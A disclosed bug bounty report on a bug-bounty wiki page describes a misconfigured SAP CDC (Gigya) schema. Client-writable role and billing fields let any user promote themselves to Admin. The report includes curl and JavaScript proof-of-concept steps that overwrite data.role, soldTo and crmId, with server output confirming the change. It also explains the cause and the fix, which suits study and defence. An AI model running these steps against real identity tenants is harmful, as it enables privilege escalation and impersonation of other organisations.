Skip to content
Access control Disclosed report Intermediate

Privilege-relevant fields are clientModify in SAP CDC schema allowing role escalation to Admin

The SAP CDC (Gigya) tenant behind several sites marked role and billing fields as writable by the client, so any registered user could set their own role to Admin and change organisation and billing identifiers. The login flow then read those client-set values to decide session privileges, allowing self-promotion and impersonation of other organisations.

matty69v Follow

Originally disclosed on HackerOne

Critical 9.3 View original
  • Triaged in 2 hours
  • Fixed in 7 days
  • Disclosed after 9 days

Summary

The Gigya / SAP CDC tenant fronting all four ████████.* sites (████████) was configured with incorrect writeAccess permissions on role-and-billing-relevant fields. The full schema is returned unauthenticated by accounts.getSchema, and critical fields including data.role, data.org.bpid, data.soldTo, data.crmId, data.orgName, and others all carry "writeAccess":"clientModify" meaning any authenticated end-user can set them on their own account from the browser via the public accounts.████████ API.

Two of these fields —data.role and the per-org data.org.roles.name are the exact fields the ████████.* login flow reads to determine which authenticated session to issue. The inline login script on every locale executes gigya.accounts.getAccountInfo and reads the role from groups.organizations[0].roles[0], then forwards the entire account info object (including user-modifiable data fields) to /████████.

Affected Fields with clientModify WriteAccess

data.role                       data.org.bpid              data.org.roles.name
data.orgName                    data.orgEntered.orgName    data.orgEntered.duns
data.orgEntered.address.*       data.orgEntered.roles.name
data.crmId                      data.soldTo                data.defaultSoldTo
data.unit                       data.area                  data.level
data.deactivated                data.subscribe             data.terms
data.requestedCompanies         data.additionalCompany
profile.email                   profile.firstName          profile.lastName
profile.city / state / address / zip / country / work.title

Steps To Reproduce

1. Verify clientModify writeAccess (no authentication required)

Bash
curl -sk -H "X-HackerOne-Research: ████████" \
     -X POST 'https://████████/accounts.getSchema' \
     --data-urlencode 'apiKey=████████' \
     --data-urlencode 'format=json' \
| python3 -c "
import sys,json
d = json.load(sys.stdin)
critical = ['role','org.bpid','orgName','crmId','soldTo','defaultSoldTo','unit','area','level','deactivated','org.roles.name']
ds = d['dataSchema']['fields']
print('field | writeAccess')
for f in critical:
    if f in ds: print(f'  {f:25s} | {ds[f][\"writeAccess\"]}')"

Output:

field | writeAccess
  role                      | clientModify
  org.bpid                  | clientModify
  orgName                   | clientModify
  crmId                     | clientModify
  soldTo                    | clientModify
  defaultSoldTo             | clientModify
  unit                      | clientModify
  area                      | clientModify
  level                     | clientModify
  deactivated               | clientModify
  org.roles.name            | clientModify

2. End-to-end PoC: Anonymous attacker becomes role: Admin

Step 1 - Initialize registration:

Bash
curl -sk -H "X-HackerOne-Research: ████████" \
     -X POST 'https://████████/accounts.initRegistration' \
     --data-urlencode 'apiKey=████████' \
     --data-urlencode 'format=json'
# → regToken: ████████

Step 2 - Register account:

Bash
curl -sk -H "X-HackerOne-Research: ████████" \
     -X POST 'https://████████/accounts.register' \
     --data-urlencode 'apiKey=████████' \
     --data-urlencode "regToken=$REGTOK" \
     --data-urlencode 'email=████████' \
     --data-urlencode 'password=████████' \
     --data-urlencode 'profile={"firstName":"H1Research","lastName":"████████-DO-NOT-APPROVE"}' \
     --data-urlencode 'data={"role":"User","terms":true,"subscribe":false}' \
     --data-urlencode 'finalizeRegistration=true' \
     --data-urlencode 'include=data,profile' \
     --data-urlencode 'format=json'
# → UID: ████████, data.role: "User"

Step 3 - Exploit: Overwrite role to Admin + billing identity:

Bash
curl -sk -H "X-HackerOne-Research: ████████" \
     -X POST 'https://████████/accounts.████████' \
     --data-urlencode 'apiKey=████████' \
     --data-urlencode "regToken=$REGTOK" \
     --data-urlencode 'data={"role":"Admin","soldTo":"9999999991","crmId":"H1████████-CRM","defaultSoldTo":"9999999991","unit":"H1-RESEARCH","area":"H1-RESEARCH","level":"Admin","deactivated":false,"orgName":"H1-████████-DO-NOT-APPROVE-ADMIN"}' \
     --data-urlencode 'format=json'
# → {"errorCode":0,"statusCode":200}

Step 4 - Verify persistence:

Bash
curl -sk -H "X-HackerOne-Research: ████████" \
     -X POST 'https://████████/accounts.getAccountInfo' \
     --data-urlencode 'apiKey=████████' \
     --data-urlencode "regToken=$REGTOK" \
     --data-urlencode 'include=data,profile,groups,emails,id_token' \
     --data-urlencode 'format=json'

Server response (abridged):

JSON
{
  "errorCode":0,
  "UID":"████████",
  "data":{
    "role":"Admin",
    "soldTo":"9999999991",
    "defaultSoldTo":"9999999991",
    "crmId":"H1████████-CRM",
    "orgName":"H1-████████-DO-NOT-APPROVE-ADMIN",
    "unit":"H1-RESEARCH",
    "area":"H1-RESEARCH",
    "level":"Admin",
    "deactivated":false
  },
  "isActive":true,
  "isRegistered":true,
  "id_token":"████████"
}

Every attacker-chosen value persisted server-side. The account is isRegistered: true and the server issued a signed Gigya FIDM JWT asserting the elevated identity.

3. How clientModify enables exploitation

Because writeAccess: clientModify is set on data.role and related fields, any authenticated user can call:

JavaScript
gigya.accounts.████████({
    data: { 
        role: "Admin", 
        soldTo: "999999991", 
        bpid: "999999991_0614_33_03", 
        orgName: "████████" 
    }
})

SAP CDC accepts the write. The ████████ login flow then reads these client-modified fields when calling getAccountInfo and uses them to determine session privileges via /████████.

Supporting Material/References

  • Test account UID: ████████
  • Test email: ████████
  • Note for triage: This test account was created in production strictly as PoC evidence. Please request the SAP CDC admin team to delete it.
  • Per SAP CDC documentation, fields used for authorization MUST be serverOnly or at most clientRead. clientModify on data.role is explicitly called out as a misconfiguration anti-pattern in SAP's hardening guide.

Impact

An authenticated attacker can escalate privileges to Admin role and impersonate other organizations on all four ████████).

Specific impacts:

  1. B2B Account Takeover / Role Escalation: Any registered user can self-promote their data.role to "Admin" or any other privileged value the server recognizes, gaining unauthorized administrative access to the ████████ portal.

  2. Cross-Customer Impersonation: By spoofing data.org.bpid, data.soldTo, data.crmId, and data.orgName, an attacker can impersonate other organizations and access their sensitive business data, orders, and pricing information.

  3. Deactivation Bypass: Users can set data.deactivated: false to keep their accounts active even after back-office deactivation, circumventing security controls.

  4. Consent/GDPR Violation: Attackers can tamper with data.subscribe and data.terms fields to bypass marketing consent flags while maintaining account access, potentially causing GDPR compliance violations for the data controller.

  5. Billing and Sales Territory Manipulation: By modifying data.unit, data.area, and data.level fields, attackers can misrepresent their sales territory assignments and potentially manipulate pricing, routing, or order placement logic.

  6. ████████: ████████:

    • ████████
    • ████████
    • ████████████████ ████████
    • ████████ ████████

The root cause is that SAP CDC schema configuration allows client-side modification of authorization-critical fields, violating the principle that authorization decisions must be based on server-controlled data only.

The original report as published on HackerOne, by matty69v. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the identity platform's schema marked authorisation-critical fields as clientModify, so the server accepted values written by the user's browser and the login flow trusted them.

Impact

An authenticated attacker could escalate to Admin and impersonate other organisations across the affected sites, per the report's stated impact.

What the attacker needed

A free account; ability to call the public API

The fix

The fields used for authorisation should be set to serverOnly or at most clientRead in the identity platform schema, so the browser cannot write them.

How it was found

  1. Query the account schema without logging in and confirm the role and billing fields are marked clientModify.
  2. Start a registration and create a new account with an ordinary role.
  3. Call the account update endpoint to overwrite the role and billing fields with chosen values.
  4. Fetch the account info and confirm the new values were stored and a signed token was issued.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A customer identity system stores extra details about each user, such as their role and which company they belong to. Normally the server should decide these values, but here the website let the user's own browser write them. Because the login page trusted those values, a normal user could simply tell the system they were an administrator.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by matty69v

View all

16 more disclosed reports, best first.

More from Essity

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.